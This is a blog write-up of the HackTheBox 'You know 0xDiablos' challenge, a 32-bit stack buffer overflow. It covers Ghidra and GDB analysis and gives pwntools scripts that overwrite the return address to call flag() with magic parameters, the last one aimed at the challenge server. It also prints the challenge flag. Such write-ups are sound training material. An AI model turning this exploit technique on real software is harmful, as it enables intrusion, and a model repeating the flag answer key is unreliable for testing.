HackTheBox – You know 0xDiablos Write-up

Dear readers,

Today’s post is on a Pwn challenge on HackTheBox. The challenge was released on 8th February 2020. It is a very easy 32-bit ROP challenge so let’s dive into it.

Fig 1. The You Know 0xDiablos challenge in HackTheBox Pwn challenge

Files provide

There is only one file provided and the IP address of the server:

Vuln is a 32-bit Unix file hence make sure you have the correct system to run it. I used Kali Linux to run this file.

Software needed

Outlook of the file given

When we first run the program, only a string is printed to us before we have to input content into the program.

Fig 3. Outlook of the program

Analysis

When I first opened up the file vuln on Ghidra and look through the code, I noticed that this is a buffer overflow (BOF) challenge. A char array is declared but there is no limit to the number of characters being read due to gets() (see Fig 5a).

Fig 5a. Vulnerability found in vuln() in the file vuln

Using checksec, we are able to see that the program does not have any stack cookies, allowing us to overwrite the return address. There is also no ASLR since PIE is not set, thus, we can overwrite a specific address into the RETURN address’s location.

> checksec --file=./vuln
RELRO            Partial RELRO
STACK CANARY     No canary found
NX               NX disabled
PIE              No PIE
RPATH            No RPATH

Printing lots of “A”s shows that it can be subjected to BOF.

> python3 -c "print('A'* 200)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: done                python3 -c "print('A'* 200)" | 
zsh: segmentation fault  ./vuln

If we launch GDB, we can use the “info file” command to see the entry point’s address. True enough, the entry point matches the address of start() (see Fig 5b and 5c red boxes).

Fig 5b. Address of entry point of the file vuln
Fig 5c. Address of start()

Setting the breakpoint before and after gets(), we will be able to analyze the stack to ensure we only need 184 bytes (local_bc needs 180 bytes + 4 bytes of register EBP) to reach the location of the return (RET) address (see Fig 5d).

Fig 5d. Addresses before and after gets()

We can set the breakpoints as shown below before running the program again.

(gdb) b *0x08049291
Breakpoint 1 at 0x08049291
(gdb) b *0x08049296
Breakpoint 2 at 0x0804296
(gdb) r

When we analyze the stack using the command “x/60x $esp” we can see the return address of vuln() located at 0xffffd0cc on the stack (see the red box in Fig 5e). The return address can be proven by comparing it with the next instruction in main() after calling vuln() as shown in Fig 5f.

Fig 5e. Return address of vuln()
Fig 5f. Address of instruction after calling vuln()

As we continue the program on GDB, I inputted 184 ‘A’s and see the content of the stack again. However, 4 more bytes of ‘A’s are required to reach right before the return address (see Fig 5g where blue box is the last 4 bytes of ‘A’s we overflowed and red box is the return address of vuln()). This is probably due to padding to ensure the stack of the program is aligned well to 16 bytes. This shows that we need 188 ‘A’s to reach the return address.

Fig 5g. ‘A’s not overwritten right before the return address of vuln()

As I analyzed the functions of the program, I notice the flag() function which will help to print the flag to us (see Fig h).

Fig 6h. Source code of flag()

This allows us to build our script to inject the exploit locally until the flag() function is called. Experiment with the endian format allows me to discover that the program stores/read content on the stack in the little-endian format. We can easily obtain the address of flag() using the symbols directory that gives us the address in an integer type. Pack it using p32() since we need a 32-bit address. Running the code below will print to us “Hurry up and try in on server side.”

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag()
exploit = offset + p32(elf.symbols['flag'], endian="little")

r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()

To print the flag, two parameters are required. This can easily be seen on Ghidra’s assembly code where the hexadecimal are converted properly (see Fig 6i).

Fig 6i. Parameters being compared in flag()

Remember that we are jumping to flag() using RET. This means flag() will think itself have a return address. Therefore, we should pad with any 4 bytes of content before we write the 2 parameters.

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()

Remember to create flag.txt and input some content in it for testing. The code above should cause the content you have entered in your file to be printed.

Lastly, we can change the connection to the actual server given to us instead of creating a process of the local vuln file.

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = remote("178.62.61.23", 32355)
#r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()

You may download the full source code here. You may also access the full folder here.

Flag obtained

Flag: HTB{0ur_Buff3r_1s_not_healthy}

Fig 7. Flag obtained

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.